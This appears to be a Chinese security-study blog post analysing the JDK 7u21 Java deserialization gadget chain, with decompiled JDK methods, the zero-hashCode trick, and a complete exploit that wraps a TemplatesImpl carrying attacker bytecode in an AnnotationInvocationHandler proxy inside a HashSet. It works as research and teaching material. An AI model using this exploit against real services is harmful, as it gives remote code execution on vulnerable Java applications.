记JDK7u21的一条链子

背景

继续我们P牛的Java漫谈系列
这是一条不依靠依赖的链子()它适用于Java 7u21及以前(大多数)的版本
接着,这篇也可以回顾一下之前所学,所谓java反序列化的核心点必是动态执行的地方
比如CC链的transformer方法,或者是通过instantiateTransformer->TrAXFilter->TemplateImpl,又或者是PropertyUtils#getProperty调用
既然我继续学习7u21的专属链,那么也得找到一个动态执行点,根据它前后搭链子才行,这个类叫sun.reflect.annotation.AnnotationInvocationHandler是不是很熟悉,回到CC1上,我们学的就是它

链子分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
for(Method var5 : this.getMemberMethods()) {
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}

if (!memberValueEquals(var7, var8)) {
return false;
}
}

return true;
}
}

for(Method var5 : this.getMemberMethods())
跟进看看这个方法是什么

1
2
3
4
5
6
7
8
9
10
11
12
13
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}

return this.memberMethods;
}

这个方法是获取指定类的所有方法
然后走到这里var8 = var5.invoke(var1);
遍历执行,链子的边边角角先不提,关键是,如何调用这个equalsImpl方法,它毕竟是private的
如果你的CC1是跟着ysoserial学的,肯定知道如何利用代理
关注AnnotationInvocationHandler类里面的invoke方法,在这里调用了equalsImpl
但是,条件是找到一个方法,调用了代理的equals方法

1
2
3
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
}

equals方法较为常见,常用来比较java对象
我们要知道集合set不允许重复,因而在添加对象时,一定会有比较操作
具体看Hashset的readObject方法
里面调用了put方法,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}

modCount++;
addEntry(hash, key, value, i);
return null;
}

hashCode的构造

观察到两个不同的对象的 i 相等时,才会执行到 key.equals(k)
即要让我们传入了两个对象,一个Proxy,一个TemplatesImpl的hashcode相等
TemplateImpl的hashCode()是一个Native方法,每次运行都会发生变化,我们理论上是无法预测的,所以想让proxy的hashCode()与之相等,只能寄希望于proxy.hashCode()
跟进逻辑发现有迹可循
调用proxy.hashCode()的时候其实会先调用其invoke方法

1
2
3
else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
}

再跟进

1
2
3
4
5
6
7
8
9
private int hashCodeImpl() {
int var1 = 0;

for(Map.Entry var3 : this.memberValues.entrySet()) {
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue());
}
return var1;
}

这个逻辑有什么漏洞呢?
大佬早有总结

1
2
3
4
当memberValues中只有一个key和一个value时,该哈希简化成(127 * key.hashCode()) ^ value.hashCode()
当key.hashCode()等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成value.hashCode()。
当value就是TemplateImpl对象时,这两个对象的哈希就完全相等。
所以我们现在最终的问题就是找到一个字符串其hashCode()为0,这里直接给出其中一个答案:f5a5a608

略总

所以从Hashset进去,add两个对象,一个是Proxy对象,一个是TemplatesImpl对象,当进入proxy.equals时,进入了AnnotationInvocationHandler的equalsImpl方法,然后遍历TemplateImpl类的方法,执行newTransformer,rce

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public static void main(String[] args) throws Exception {
// 反射拿到 AnnotationInvocationHandler 类
ClassPool pool = ClassPool.getDefault();
CtClass clazz =
pool.get(com.example.Evil.class.getName());
TemplatesImpl templates1 = new TemplatesImpl();
setFieldValue(templates1, "_name", "xxdssadax");
setFieldValue(templates1, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates1, "_bytecodes", new byte[][]{clazz.toBytecode()});

HashMap maps=new HashMap();
maps.put("f5a5a608",templates1);
Class cla =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = cla.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Templates.class, maps);
Templates proxyMap = (Templates)Proxy.newProxyInstance(Proxy.class.getClassLoader(), new Class[]{Templates.class},
handler);
HashSet hashSet = new HashSet();
hashSet.add(templates1);
hashSet.add(proxyMap);
// hashSet.add(proxyMap);
serilize(hashSet);
unserilize("1.bin");
}
public static void serilize(Object obj) throws IOException {
ObjectOutputStream oos= new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
oos.writeObject(obj);
}

public static void unserilize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois= new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
ois.readObject();
}
public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field fieldName = clazz.getDeclaredField(field);
fieldName.setAccessible(true);
fieldName.set(obj, value);
}

代理

还是要稍微了解一下代理规则

1
2
3
4
newProxyInstance() 中的三个参数还是很重要的,我们稍微解释一下三个参数的含义:
参数一:类加载器对象即用哪个类加载器来加载这个代理类到 JVM 的方法区
参数二:接口表明该代理类需要实现的接口(实测Map和Templates都可,应该区别不大)
参数三:是调用处理器类实例即 InvocationHandler 的实现的实例对象
1
2
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Templates.class, maps);

maps里是一个键值对,用于hashcode计算时进入invoke方法返回的通过put比较调用equals方法
Templates.class能给 实现 Templates 接口的代理对象做代理
proxy不重要,只要handler正确就行

结语

官方对该链子的修补如下

1
2
在sun.reflect.annotation.AnnotationInvocationHandler类的readObject函数中,原本有一个对this.type的检查,在其不是AnnotationType的情况下,会抛出一个异常。
但是,捕获到异常后没有做任何事情,只是将这个函数返回了,这样并不影响整个反序列化的执行过程。在新版中,将这个返回改为了抛出一个异常,会导致整个序列化的过程终止

但是并不完全,催生了另一条链子JDK8u20

1
2
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Templates.class, maps);

Templates写成了TemplatesImpl,我覅了()